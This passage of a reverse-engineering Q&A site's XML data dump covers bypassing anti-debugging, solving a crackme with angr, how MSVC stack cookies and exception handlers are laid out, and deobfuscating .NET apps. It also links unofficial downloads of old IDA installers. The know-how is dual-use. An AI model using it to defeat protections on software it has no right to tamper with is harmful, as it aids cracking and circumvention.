noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/phWHj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19188" LastActivityDate="2021-02-20T18:21:38.993" Title="Proxy debugging tool doesn't capture traffic from some online games" Tags="|debugging|android|proxy|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19181" PostTypeId="2" ParentId="19178" CreationDate="2018-08-29T10:46:39.983" Score="5" Body="&lt;p&gt;What you could do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;With each found anti-debug, patch the exe with the bypass and continue with the patched one.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If your debugger is scriptable (like e.g. Ida) run it under the script, insert breakpoints in your script and bypass the anti-debug in your script. This is a particularly useful in &quot;dynamic&quot; anti-debug cases where static patching is not possible or difficult.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The latter method is similar to your C++ idea, but more flexible as you can work completely in the debugger.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2018-08-29T10:46:39.983" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19182" PostTypeId="2" ParentId="19178" CreationDate="2018-08-29T14:15:59.687" Score="2" Body="&lt;p&gt;You don't need any external plugin, this is already a builtin feature in x64dbg:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hu9q2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hu9q2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18079" LastActivityDate="2018-08-29T14:15:59.687" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19184" PostTypeId="2" ParentId="19179" CreationDate="2018-08-29T15:39:36.560" Score="3" Body="&lt;p&gt;I'll answer myself for those who arrive searching for an older x86 version of IDA.&#xA;I've found an expired demo for the 6.6 version at &lt;a href=&quot;https://ida-pro.software.informer.com/6.6/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ida-pro.software.informer.com/6.6/&lt;/a&gt;, I don't know if it's safe or not, use with caution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You know the rest. &lt;/p&gt;&#xA;" OwnerUserId="25490" LastEditorUserId="2147" LastEditDate="2018-08-29T19:22:10.743" LastActivityDate="2018-08-29T19:22:10.743" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19185" PostTypeId="1" CreationDate="2018-08-29T15:58:45.833" Score="3" ViewCount="419" Body="&lt;p&gt;I'm writing a script to solve a binary that asks for multiple strings like the following c code,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem I can't dump the 'second_pass, I just get &quot;first_pass&quot;.&#xA;probably due of the use of the same variable to read input from. any help please&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main()&#xA;{&#xA;    int i, lose = 1;&#xA;    char first[20]=&quot;first_pass&quot;, input[20];&#xA;    scanf(&quot;%s&quot;, input);&#xA;    for(i=0; i &amp;lt; strlen(first); i++)&#xA;    {&#xA;        if(first[i] != input[i])&#xA;            lose = 0;&#xA;    }&#xA;&#xA;    if(lose)&#xA;        printf(&quot;gg&quot;);&#xA;    else&#xA;        printf(&quot;fail&quot;);&#xA;&#xA;&#xA;    char second[20]=&quot;second_pass&quot;;&#xA;    scanf(&quot;%s&quot;, input);&#xA;    for(i=0; i &amp;lt; strlen(second); i++)&#xA;    {&#xA;        //printf(&quot;%c = %c\n&quot;, second[i], input[i]);&#xA;        if(second[i] != input[i])&#xA;            lose = 0;&#xA;    }&#xA;&#xA;    printf(&quot;\n&quot;);&#xA;    if(lose)&#xA;        printf(&quot;gg&quot;);&#xA;    else&#xA;        printf(&quot;fail&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my angr script &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import angr&#xA;import logging&#xA;&#xA;&#xA;&#xA;start_at = 0x400550&#xA;&#xA;fail = (0x400681,0x400751)&#xA;success = (0x400680, 0x400740)&#xA;&#xA;&#xA;&#xA;&#xA;p = angr.Project(&quot;./a.out&quot;, load_options={'auto_load_libs': False})&#xA;&#xA;&#xA;state = p.factory.blank_state(addr=addr_main)&#xA;&#xA;path = p.factory.path(state)&#xA;pathgroup = p.factory.path_group(path)&#xA;print &quot;Searching...&quot;&#xA;found_state = pathgroup.explore(find=success, avoid=fail)&#xA;&#xA;if found_state.found:&#xA;    f = found_state.found[0].state&#xA;&#xA;    print &quot;Flag: %s&quot; % (f.posix.dumps(0)[0:20],)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25496" LastActivityDate="2019-08-24T22:02:25.310" Title="angr multiple reads same variable" Tags="|angr|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19186" PostTypeId="1" AcceptedAnswerId="19187" CreationDate="2018-08-29T16:30:59.807" Score="4" ViewCount="492" Body="&lt;p&gt;I'm trying to understand how this GS cookie implementation is working. From what I've read on the topic, a cookie is set during the prologue then checked again in the epilogue. Well I can see the cookie being set, but it is not like the examples I've seen online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;prologue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push ebp&#xA;mov ebp,esp&#xA;push FFFFFFFF&#xA;push sdk.FAB99E9               ; New Exception handler&#xA;mov eax,dword ptr fs:[0]       ; Old Exception handler&#xA;push eax&#xA;sub esp,14                     ; Allocate 5 DWORDs&#xA;push ebx&#xA;push esi&#xA;push edi&#xA;mov eax,dword ptr ds:[FAC635C] ; The GS cookie (.data section)&#xA;xor eax,ebp&#xA;push eax                       ; The GS Cookie&#xA;lea eax,dword ptr ss:[ebp-C]&#xA;mov dword ptr fs:[0],eax       ; Set new Exception Handler&#xA;mov edi,ecx                    ; Address of a vector passed as arg1&#xA;mov dword ptr ss:[ebp-20],edi  ; local variable&#xA;mov dword ptr ss:[ebp-1C],0    ; local variable&#xA;mov dword ptr ds:[edi],0       ; zero the vector&#xA;mov dword ptr ds:[edi+4],0&#xA;mov dword ptr ds:[edi+8],0&#xA;mov dword ptr ss:[ebp-4],0     ; sets the 0xFFFFFFFF above to 0x0&#xA;mov dword ptr ss:[ebp-1C],1&#xA;mov byte ptr ss:[ebp-D],0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;epilogue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax,edi&#xA;mov ecx,dword ptr ss:[ebp-C]   ; Old Exception handler&#xA;mov dword ptr fs:[0],ecx       ; Restore Exception handler&#xA;pop ecx                        ; Pop the GS Cookie&#xA;pop edi&#xA;pop esi&#xA;pop ebx&#xA;mov esp,ebp&#xA;pop ebp&#xA;ret &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function commented as &quot;New Exception Handler&quot;, does contain a Cookie check. But I've never been able to step into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody explain how this works and what it might look like in C++? Or, more specific to my needs, is this a try/catch block in the original code or added by the compiler?&lt;/p&gt;&#xA;" OwnerUserId="25311" LastActivityDate="2018-08-29T20:45:52.650" Title="GS Cookie and exception handlers" Tags="|x86|buffer-overflow|exception|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19187" PostTypeId="2" ParentId="19186" CreationDate="2018-08-29T17:22:08.843" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The function commented as &quot;New Exception Handler&quot;, does contain a Cookie check. But I've never been able to step into it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since the exception handler is called only during an exception, it won't be called during normal execution, so this is expected behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the missing cookie check in the epilog, apparently your function is not using the plain old &lt;code&gt;GS&lt;/code&gt; cookie (return address overwrite protection via simple comparison) but only the improved &lt;code&gt;EH+GS&lt;/code&gt; cookie (local variables + EH data + return address protection with the extra XOR check). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Commented function prolog (comments refer to final offsets in the frame):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; push    ebp             ; [EBP+0] save old EBP&#xA; mov     ebp, esp        ; set up ebp frame (ESP=EBP)&#xA; push    0FFFFFFFFh      ; [EBP-4] push initial state&#xA; push    offset SEH_1000BF50 ; [EBP-8] SEH handler for the function&#xA; mov     eax, large fs:0 ; read SEH chain list head&#xA; push    eax             ; [EBP-C] pointer to previous SEH record&#xA; sub     esp, 14h        ; allocate space for local vars and move to the saved registers area.&#xA; push    ebx             ; [EBP-18] save ebx&#xA; push    esi             ; [EBP-1C] save esi&#xA; push    edi             ; [EBP-20] save edi&#xA; mov     eax, ___security_cookie&#xA; xor     eax, ebp        ; xor the cookie to make it harder to forge&#xA; push    eax             ; EBP-24 push XOR'ed cookie&#xA; lea     eax, [ebp-0Ch] ; eax = &amp;amp;SEH_record&#xA; mov     large fs:0, eax ; insert our SEH entry at start of list&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;final stack frame layout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EBP-30 xored EH cookie  &#xA;EBP-2C saved edi&#xA;EBP-28 saved esi&#xA;EBP-24 saved ebx&#xA;EBP-20 &amp;lt;local variables&amp;gt;&#xA;EBP-0C SEH pointer to previous record\&#xA;EBP-08 SEH handler                    | extended SEH record&#xA;EBP-04 EH state                      /&#xA;EBP+00 saved EBP&#xA;EBP+04 return address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In case of an exception, the check happens in the function-specific SEH handler before jumping to &lt;code&gt;___CxxFrameHandler3&lt;/code&gt; which performs C++ exception handling or stack unwinding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SEH_1000BF50:&#xA;  mov     edx, [esp+8]    ; (1) get pointer to current SEH record&#xA;  lea     eax, [edx+0Ch]  ; edx &amp;lt;- original frame pointer (function's EBP)&#xA;  mov     ecx, [edx-24h]  ; get xor'ed cookie at orig_ebp-30h&#xA;  xor     ecx, eax        ; xor them together&#xA;  call    @__security_check_cookie@4 ; check expected value&#xA;  mov     eax, offset stru_10034344&#xA;  jmp     ___CxxFrameHandler3   ; handle C++ exceptions/unwinding&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(1) gets the second argument of the SEH handler (&lt;code&gt;EstablisherFrame&lt;/code&gt;), which points to the active SEH record which was stored at &lt;code&gt;EBP-C&lt;/code&gt; in the function, so we adjust it by &lt;code&gt;0Ch&lt;/code&gt; to get the original &lt;code&gt;EBP&lt;/code&gt; value which is used for xoring with the cookie value (originally stored at &lt;code&gt;[EBP-30h]&lt;/code&gt;, or at -24h from the SEH record), and the xor result is compared with the expected value by &lt;code&gt;__security_check_cookie()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the compiler decided that there is no need to protect just the return address because there are no buffers in the function (see &quot;GS Buffers&quot; in &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/8dbf701c.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;MSDN&lt;/a&gt;), and any other overwrite will trash the EH cookie and will be detected in case of exception.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, the &lt;code&gt;state&lt;/code&gt; variable at &lt;code&gt;[ebp-4]&lt;/code&gt; uniquely identifies a state in the function's execution. This allows the C++ exception handler (e.g. &lt;code&gt;__CxxFrameHandler&lt;/code&gt;) to destroy any automatic objects leaving their scope due to the exception and &lt;em&gt;unwind&lt;/em&gt; the state to the starting one (usually value -1). So this exception handler setup does not correspond to a &quot;try/catch block&quot; but has been added by the compiler for the whole function. However, the state transitions (writes to the try level variable &lt;em&gt;may&lt;/em&gt; correspond to try block boundaries (or just scope boundaries).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more background on Visual C++  exception handling implementation (both C-style SEH and C++ EH), check out &lt;a href=&quot;http://www.openrce.org/articles/full_view/21&quot; rel=&quot;nofollow noreferrer&quot;&gt;my article&lt;/a&gt; on the topic (and its references).&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2018-08-29T20:45:52.650" LastActivityDate="2018-08-29T20:45:52.650" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="19189" PostTypeId="1" AcceptedAnswerId="19208" CreationDate="2018-08-29T18:26:37.957" Score="0" ViewCount="136" Body="&lt;p&gt;Sometimes a program displays images that don't exist as jpegs or bmps that come with the program so they have to be residing inside the exe itself or inside a DLL that comes with the program. So My question is, how does the program access the image in the DLL in assembly and in what format is the image typically stored there?&#xA;I also have a question about text that the program displays but the text is nowhere to be seen either in the exe or dll, so where is that text stored or is it possibly encrypted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the &quot;made with Unity&quot; splash screen in unity.&lt;/p&gt;&#xA;" OwnerUserId="25497" LastEditorUserId="2147" LastEditDate="2018-08-29T19:24:24.127" LastActivityDate="2018-08-31T17:51:35.340" Title="How are images found inside DLLs accessed?" Tags="|windows|dll|pe-resources|" AnswerCount="2" CommentCount="4" FavoriteCount="0" ClosedDate="2018-09-06T14:42:04.497" ContentLicense="CC BY-SA 4.0" />
  <row Id="19190" PostTypeId="2" ParentId="19185" CreationDate="2018-08-29T18:52:51.037" Score="1" Body="&lt;p&gt;&lt;em&gt;Since OP didn't specify the addresses referred to by the hardcoded offsets, I'm gonna assume his intention. I'm assuming the values in &lt;code&gt;find&lt;/code&gt; match the two &lt;code&gt;printf(&amp;quot;gg&amp;quot;)&lt;/code&gt; statements and the two values in &lt;code&gt;avoid&lt;/code&gt; match the two &lt;code&gt;printf(&amp;quot;fail&amp;quot;);&lt;/code&gt; statements.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;First of all, I believe your program has two unintentional considerable bugs in it, preventing the intended solutions from &lt;em&gt;being needed&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The first and more considerable of the two is the use of &lt;code&gt;lose&lt;/code&gt; in your code. It is &lt;em&gt;sufficient&lt;/em&gt; to only correctly provide &lt;em&gt;one&lt;/em&gt; of the passwords to permanently set &lt;code&gt;lose&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt;. Doing so using the first password means &lt;code&gt;lose&lt;/code&gt; will be &lt;code&gt;false&lt;/code&gt; for &lt;em&gt;both&lt;/em&gt;, effectively reaching the two success criteria you specified. Simply put, because &lt;code&gt;lose&lt;/code&gt; is not being reset to the default of &lt;code&gt;true&lt;/code&gt; after the first password validation, is is enough to provide the first password to get two &lt;code&gt;gg&lt;/code&gt;s.&lt;/li&gt;&#xA;&lt;li&gt;This one does not really interfere with solving the challenge but is also probably a bug. We'll go over why it's an issue for angr in a few paragraphs but for now I'll just point out your string comparison is lacking any validation for the correct length, or that the input string is terminated when the hardcoded password is.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I find your example code quite interesting because those are two &lt;em&gt;relatively common&lt;/em&gt; security vulnerabilities.&lt;/p&gt;&#xA;&lt;p&gt;Ignoring the first logical bug above, I believe the issue is your configured success criteria; According to &lt;a href=&quot;https://docs.angr.io/docs/pathgroups.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;angr documentation&lt;/a&gt; (emphasis is mine):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;When launching &lt;code&gt;.explore()&lt;/code&gt; with a &lt;code&gt;find&lt;/code&gt; argument, execution will run until a state is found that matches the find condition, which can be the address of an instruction to stop at, a list of addresses to stop at, or a function which takes a state and returns whether it meets some criteria.&lt;/p&gt;&#xA;&lt;p&gt;When any of the states in the active stash match the &lt;code&gt;find&lt;/code&gt; condition, they are placed in the found stash, &lt;strong&gt;and execution terminates&lt;/strong&gt;. You can then explore the found state, or decide to discard it and continue with the other ones. You can also specify an &lt;code&gt;avoid&lt;/code&gt; condition in the same format as &lt;code&gt;find&lt;/code&gt;. When a state matches the &lt;code&gt;avoid&lt;/code&gt; condition, it is put in the avoided stash, and execution continues. Finally, the &lt;code&gt;num_find&lt;/code&gt; argument controls the number of states that should be found before returning, with a default of &lt;code&gt;1&lt;/code&gt;. Of course, if you run out of states in the active stash before finding this many solutions, execution will stop anyway.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Providing a sequence of addresses in &lt;code&gt;explorer&lt;/code&gt;'s &lt;code&gt;find&lt;/code&gt;, like you did, means either one is an acceptable success condition. Because you did not provide any &lt;code&gt;num_find&lt;/code&gt; the default of &lt;code&gt;1&lt;/code&gt; is assumed and &lt;code&gt;execute&lt;/code&gt; returns with the &lt;em&gt;first success found&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Obviously, this is the success criteria for the first password. That is forced upon angr because the &lt;code&gt;avoid&lt;/code&gt; parameter you provided. If the &lt;code&gt;avoid&lt;/code&gt;  condition is reached the current exploration path is terminated, preventing any additional exploration down that path. In your case, providing an &lt;code&gt;avoid&lt;/code&gt; of the failure of the first password means any paths failing the first password will be immediately discarded. Therefore, intentionally or not - thanks to your &lt;code&gt;avoid&lt;/code&gt;, no path is possible that does reach a success in the first password test.&lt;/p&gt;&#xA;&lt;p&gt;There are several ways to properly solve this challenge and I'll go over them.&lt;/p&gt;&#xA;&lt;h3&gt;Increasing &lt;code&gt;num_find&lt;/code&gt; to more than one result&lt;/h3&gt;&#xA;&lt;p&gt;One might think a proper solution could be to increase &lt;code&gt;num_find&lt;/code&gt; to more than one, allowing more than one &lt;code&gt;found&lt;/code&gt; states to be reached before &lt;code&gt;explorer&lt;/code&gt; returns. That, however, is a mistake. Because your example code does not makes sure passwords are actually identical strings because there's no length validation and the null terminator is not compared, it appears any string &lt;em&gt;starting&lt;/em&gt; with &lt;code&gt;&amp;quot;first_pass&amp;quot;&lt;/code&gt; should be considered a valid solution. Interestingly enough, this accidently allows &lt;em&gt;more than one solution&lt;/em&gt; (and in reality, quite a lot), so increasing &lt;code&gt;num_find&lt;/code&gt; to any computationally feasible value will yield additional solutions to the first password, never reaching the second one.&lt;/p&gt;&#xA;&lt;p&gt;btw, to fix the erroneous password verification condition, you can either verify lengths match, use a string comparison function (such as &lt;code&gt;strcmp&lt;/code&gt; and derivatives), or change the conditional from &lt;code&gt;&amp;lt;&lt;/code&gt; to &lt;code&gt;&amp;lt;=&lt;/code&gt; so it will include the null terminator.&lt;/p&gt;&#xA;&lt;h3&gt;separating the two tests&lt;/h3&gt;&#xA;&lt;p&gt;Since the two scenarios are completely independent of one another, you could run to executions. One for each password, setting a single &lt;code&gt;find&lt;/code&gt; and &lt;code&gt;avoid&lt;/code&gt; value for each, as well as setting the entry point for the second one. Splitting the two executions will effectively create a more simple set of constraints which should be executing faster. Of course, you can even run them in parallel to gain an additional performance advantage.&lt;/p&gt;&#xA;&lt;h3&gt;correctly specifying the success criteria&lt;/h3&gt;&#xA;&lt;p&gt;Although your values of &lt;code&gt;find&lt;/code&gt; and &lt;code&gt;avoid&lt;/code&gt; may initially seem correct, we've discussed several reasons why in reality they fail to accurately describe your intention. A more accurate specification of those parameters will be setting &lt;code&gt;avoid&lt;/code&gt; to both &lt;code&gt;printf(&amp;quot;fail&amp;quot;);&lt;/code&gt; statements, as you did. However you'll need to remove the first &lt;code&gt;printf(&amp;quot;gg&amp;quot;)&lt;/code&gt; and only keep the second, as it won't be reached without passing both passwords (assuming the logical bug mentioned above is fixed).&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-08-29T18:52:51.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19191" PostTypeId="2" ParentId="19189" CreationDate="2018-08-29T19:28:59.630" Score="1" Body="&lt;p&gt;As the question is indeed very broad there isn't much we can tell. However, PE resources are often used to cary images and icons inside executable files. They are then loaded using APIs like &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms648046(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;LoadResource&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://docs.microsoft.com/en-gb/windows/desktop/api/winuser/nf-winuser-loadimagea&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;LoadImage&lt;/code&gt;&lt;/a&gt;. You can read about resources, their type and formats over on &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms632583(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;MSDN&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note, images can also be stored as files in other formats, other extensions, other encodings and even compressed or encrypted. So the fact you don't see a &lt;code&gt;.bmp&lt;/code&gt; file does not necessarily mean there are no image resource files alongside the executable. &lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-08-29T19:28:59.630" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19192" PostTypeId="5" CreationDate="2018-08-30T03:42:06.760" Score="0" Body="&lt;p&gt;The counterpart of &lt;a href=&quot;/questions/tagged/malware&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;malware&amp;#39;&quot; rel=&quot;tag&quot;&gt;malware&lt;/a&gt;, used to refer to samples that are considered, treated or are being evaluated as non-malicious samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most executables and programs running on the average computer are benign, naturally. As benign samples employ more and more anti-reverse engineering techniques and capabilities such as &lt;a href=&quot;/questions/tagged/packers&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;packers&amp;#39;&quot; rel=&quot;tag&quot;&gt;packers&lt;/a&gt; and &lt;a href=&quot;/questions/tagged/anti-debugging&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;anti-debugging&amp;#39;&quot; rel=&quot;tag&quot;&gt;anti-debugging&lt;/a&gt;, making distinction more difficult.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-08-30T03:47:07.920" LastActivityDate="2018-08-30T03:47:07.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19193" PostTypeId="4" CreationDate="2018-08-30T03:42:06.760" Score="0" Body="Benign samples are those samples which are not malicious, and carry no harmful behaviors or characteristics. In relation to reverse engineering, benign is often used as the opposite of malicious." OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-08-30T03:42:06.760" LastActivityDate="2018-08-30T03:42:06.760" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19194" PostTypeId="1" CreationDate="2018-08-30T03:49:16.340" Score="8" ViewCount="709" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SCkLh.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SCkLh.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently bought this chinese console that supposedly has 328 8-bit games. I want to understand the code and how it works to hack it and maybe load other ROMs. It has a chip covered in black epoxy resin that may be the microcontroller, and right next to it there's a flash memory, specifically the Winbond branded W25Q64 64Mbit (8 Mbyte) memory. Since I have an EEPROM/Flash reader I extracted the data from it. This is the complete .bin file: &lt;a href=&quot;https://www.4shared.com/s/fYlAk9898gm&quot; rel=&quot;noreferrer&quot;&gt;https://www.4shared.com/s/fYlAk9898gm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/drneW.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/drneW.png&quot; alt=&quot;dinax.bin file in HxD&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont know what kind of processing I need to do to make readable-like code. The binary contains recognizable data like the index of the games, but is not much more&lt;/p&gt;&#xA;" OwnerUserId="25500" LastEditorUserId="2147" LastEditDate="2018-08-30T04:15:38.827" LastActivityDate="2018-09-20T21:31:51.847" Title="How do I reverse this firmware? 8-bit handheld console" Tags="|firmware|embedded|decompile|rom|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="19197" PostTypeId="1" CreationDate="2018-08-30T11:51:40.840" Score="2" ViewCount="3782" Body="&lt;p&gt;I ran de4dot on a Xamarin app obfuscated using Dotfuscator Professional. However, there's still the random switches and strange ints everywhere. Can de4dot decode this? If not, is there another tool that can?&#xA;I've opened it with dotPeek and dnSpy as well to the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://hastebin.com/uwulipuyit.cs&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's an example.&lt;/a&gt; Most of the logic I need is in chains of these tasks. O6.K does not even exist.&lt;/p&gt;&#xA;" OwnerUserId="25504" LastEditorUserId="25504" LastEditDate="2018-08-31T21:26:02.760" LastActivityDate="2018-08-31T21:26:02.760" Title="Can de4dot deobfuscate Dotfuscator Professional?" Tags="|obfuscation|deobfuscation|.net|" AnswerCount="0" CommentCount="7" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19198" PostTypeId="2" ParentId="19179" CreationDate="2018-08-30T12:21:43.800" Score="1" Body="&lt;p&gt;Dr Thorsten Schneider of Erstwhile REA , crackmes.de , put together all the stuff in a zip and hosted it a site named binaryauditing   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;that site also appears to be taken down by me too virus flagging scanner operators it had a copy of freeida50  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;someone has unzipped and hosted the site contents in github &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Info-security/binary-auditing-training&quot; rel=&quot;nofollow noreferrer&quot;&gt;LINK TO COPY OF BINARYAUDITING&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this still contains a downloadable copy of idafree50&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;wget -c https://github.com/Info-security/binary-auditing-training/raw/master/idafree50.exe&#xA;&#xA;Length: 16371302 (16M) [application/octet-stream]&#xA;Saving to: 'idafree50.exe'&#xA;&#xA;idafree50.exe                 100%[=====&amp;gt;]  15.61M   426KB/s    in 70s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a preliminary scan passes the muster but you are advised to use caution &#xA;before using the information provided&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-08-30T12:21:43.800" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19199" PostTypeId="2" ParentId="19179" CreationDate="2018-08-30T12:33:01.443" Score="1" Body="&lt;p&gt;I'm sure this is not the type of answer you're expecting but if you're looking for something updated, well maintained, free and open-source, why not using &lt;a href=&quot;https://github.com/x64dbg/x64dbg&quot; rel=&quot;nofollow noreferrer&quot;&gt;x64dbg&lt;/a&gt; instead IDA?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I've read on your comments, I'm pretty much sure this one will cover your needs pretty well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a list of &lt;a href=&quot;https://x64dbg.com/#features&quot; rel=&quot;nofollow noreferrer&quot;&gt;features&lt;/a&gt;, as you can see it says &quot;can debug both x64 and x32 applications. There is only one interface.&quot;&lt;/p&gt;&#xA;" OwnerUserId="18079" LastActivityDate="2018-08-30T12:33:01.443" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19200" PostTypeId="2" ParentId="13204" CreationDate="2018-08-30T13:07:25.400" Score="0" Body="&lt;p&gt;Yeah, there are definitely legitimate use cases for both &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680345(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;IsDebuggerPresent&lt;/a&gt; and &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-setwindowshookexa&quot; rel=&quot;nofollow noreferrer&quot;&gt;SetWindowsHookExA&lt;/a&gt; common windows functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I propose you a simple experiment you can try, take this little legitimate c++ snippet of mine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;&#xA;void main(int argc, char* argv[]) {&#xA;    printf(&quot;Hello world\n&quot;);&#xA;    while(true) {&#xA;        printf(&quot;Debugger present: %d\n&quot;, IsDebuggerPresent());&#xA;        Sleep(200);&#xA;    }&#xA;    system(&quot;pause&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Build it with your favourite c++ windows compiler and run it. Now, take your favourite debugger, I recommend you &lt;a href=&quot;https://github.com/x64dbg/x64dbg&quot; rel=&quot;nofollow noreferrer&quot;&gt;x64dbg&lt;/a&gt; and try 